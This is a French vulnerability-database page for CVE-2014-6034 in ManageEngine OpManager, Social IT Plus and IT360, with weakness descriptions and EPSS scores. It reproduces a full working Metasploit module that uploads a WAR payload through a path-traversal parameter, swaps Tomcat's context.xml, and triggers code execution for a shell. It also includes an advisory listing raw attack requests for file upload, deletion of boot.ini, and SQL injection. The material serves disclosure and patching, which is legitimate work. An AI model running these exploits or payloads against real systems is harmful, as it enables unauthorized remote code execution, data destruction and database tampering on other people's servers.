CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Directory traversal vulnerability in the com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector servlet in ZOHO ManageEngine OpManager 8.8 through 11.3, Social IT Plus 11.0, and IT360 10.4 and earlier allows remote attackers or remote authenticated users to write to and execute arbitrary WAR files via a .. (dot dot) in the regionID parameter.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
76.81%
–
–
2023-03-12
–
–
–
97.1%
–
2023-07-02
–
–
–
97.03%
–
2023-08-13
–
–
–
96.75%
–
2023-09-24
–
–
–
96.62%
–
2023-11-05
–
–
–
96.62%
–
2023-11-12
–
–
–
96.32%
–
2023-12-31
–
–
–
96.2%
–
2024-02-18
–
–
–
96.48%
–
2024-04-14
–
–
–
96.29%
–
2024-06-02
–
–
–
96.29%
–
2024-07-21
–
–
–
96.52%
–
2024-09-01
–
–
–
96.46%
–
2024-10-20
–
–
–
96.42%
–
2024-12-08
–
–
–
95.39%
–
2024-12-22
–
–
–
95.61%
–
2025-01-26
–
–
–
95.51%
–
2025-03-09
–
–
–
95.92%
–
2025-01-19
–
–
–
95.61%
–
2025-01-25
–
–
–
95.51%
–
2025-03-09
–
–
–
95.92%
–
2025-03-18
–
–
–
–
89.05%
2025-03-30
–
–
–
–
88.82%
2025-04-08
–
–
–
–
89.33%
2025-04-15
–
–
–
–
89.33%
2025-05-01
–
–
–
–
89.33%
2025-05-01
–
–
–
–
89.33,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2014-10-01 22h00 +00:00 Auteur : Pedro Ribeiro EDB Vérifié : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine OpManager / Social IT Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.
The vulnerability exists in the FileCollector servlet which accepts unauthenticated
file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on
version 11.0 of SocialIT for Windows and Linux.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6034' ],
[ 'OSVDB', '112276' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ]
],
'Privileged' => true,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 27 2014'))
register_options(
[
Opt::RPORT(80),
OptInt.new('SLEEP',
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"),
'method' => 'GET'
})
# A GET request on this servlet returns "405 Method not allowed"
if res and res.code == 405
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def upload_war_and_exec(try_again, app_base)
tomcat_path = '../../../tomcat/'
servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector'
if try_again
# We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration
# does not allow us to deploy WARs. Fix that by uploading a new context.xml file.
# The file we are uploading has the same content apart from privileged="false" and lots of XML comments.
# After replacing the context.xml file let's upload the WAR again.
print_status("#{peer} - Replacing Tomcat context file")
send_request_cgi({
'uri' => normalize_uri(servlet_path),
'method' => 'POST',
'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>},
'ctype' => 'application/xml',
'vars_get' => {
'regionID' => tomcat_path + "conf",
'FILENAME' => "context.xml"
}
})
else
# We need to create the upload directories before our first attempt to upload the WAR.
print_status("#{peer} - Creating upload directories")
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
send_request_cgi({
'uri' => normalize_uri(servlet_path),
'method' => 'POST',
'data' => rand_text_alphanumeric(4 + rand(32 - 4)),
'ctype' => 'application/xml',
'vars_get' => {
'regionID' => "",
'FILENAME' => bogus_file
}
})
register_files_for_cleanup("state/archivedata/zip/" + bogus_file)
end
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
print_status("#{peer} - Uploading WAR file...")
res = send_request_cgi({
'uri' => normalize_uri(servlet_path),
'method' => 'POST',
'data' => war_payload,
'ctype' => 'application/octet-stream',
'vars_get' => {
'regionID' => tomcat_path + "webapps",
'FILENAME' => app_base + ".war"
}
})
# The server either returns a 500 error or a 200 OK when the upload is successful.
if res and (res.code == 500 or res.code == 200)
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
" seconds for deployment")
sleep(datastore['SLEEP'])
else
fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed")
end
print_status("#{peer} - Executing payload, wait for session...")
send_request_cgi({
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
end
def exploit
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
upload_war_and_exec(false, app_base)
register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war")
sleep_counter = 0
while not session_created?
if sleep_counter == datastore['SLEEP']
print_error("#{peer} - Failed to get a shell, let's try one more time")
upload_war_and_exec(true, app_base)
return
end
sleep(1)
sleep_counter += 1
end
end
end
Date de publication : 2014-11-08 23h00 +00:00 Auteur : Pedro Ribeiro EDB Vérifié : No
>> Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 27/09/2014 (#1 and #2), 09/11/2014 (#3 and #4) / Last updated: 09/11/2014
>> Background on the affected products:
"ManageEngine OpManager is a network and data center infrastructure management software that helps large enterprises, service providers and SMEs manage their data centers and IT infrastructure efficiently and cost effectively. Automated workflows, intelligent alerting engines, configurable discovery rules, and extendable templates enable IT teams to setup a 24x7 monitoring system within hours of installation."
"Social IT Plus offers a cascading wall that helps IT folks to start discussions, share articles and videos easily and quickly. Other team members can access it and post comments and likes on the fly."
"Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration."
>> Technical details:
#1
Vulnerability: Remote code execution via WAR file upload
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
a)
CVE-2014-6034
POST /servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector?regionID=../../../tomcat/webapps&FILENAME=payload.war
<... WAR file payload ...>
Affected versions: OpManager v8.8 to v11.4; Social IT Plus v11.0; IT360 v? to v10.4
A Metasploit module that exploits this vulnerability has been released.
b)
CVE-2014-6035
POST /servlets/FileCollector?AGENTKEY=123&FILENAME=../../../tomcat/webapps/warfile.war
<... WAR file payload ...>
Affected versions: OpManager v? to v11.4
#2
Vulnerability: Arbitrary file deletion
CVE-2014-6036
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
Affected versions: OpManager v? to v11.4; Social IT Plus v11.0; IT360 v? to v10.3/10.4
POST /servlets/multipartRequest?customIcon=delete&fileName=../../../../boot.ini
#3
Vulnerability: Remote code execution via file upload
CVE-2014-7866
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
a)
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0
b)
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>
Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0
#4
Vulnerability: Blind SQL injection
CVE-2014-7868
Constraints: unauthenticated on OpManager and Social IT; authenticated in IT360
a)
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=[SQLi]
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=aaa'%3bcreate+table+pulicia+(bolas+text)%3b--+
Affected versions: Unknown, at least the current versions (OpManager 11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
b)
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=[SQLi] --> runs direct query in db!
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=create+table+panicia+(bolos+text)
Affected versions: Unknown, at least the current versions (OpManager 11.3/11.4; IT360 10.3/10.4; Social IT 11.0)
>> Fix:
Upgrade to OpManager 11.3 or 11.4, then install patches [A], [B] and [C].
This patch can be applied to all the applications but only for the latest version of each (OpManager 11.3/11.4, Social IT 11.0, IT360 10.4).
The fix will be included in OpManager version 11.5 which should be released sometime in late November or December 2014. No indication was given for when fixed versions of IT360 and Social IT Plus will be released.
[A] https://support.zoho.com/portal/manageengine/helpcenter/articles/servlet-vulnerability-fix
Resolves #1 and #2
[B] https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix
Resolves #3
[C] https://support.zoho.com/portal/manageengine/helpcenter/articles/fix-for-remote-code-execution-via-file-upload-vulnerability
Resolves #4
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
Products Mentioned
Configuraton 0
Zohocorp>>Manageengine_social_it_plus >> Version 11.0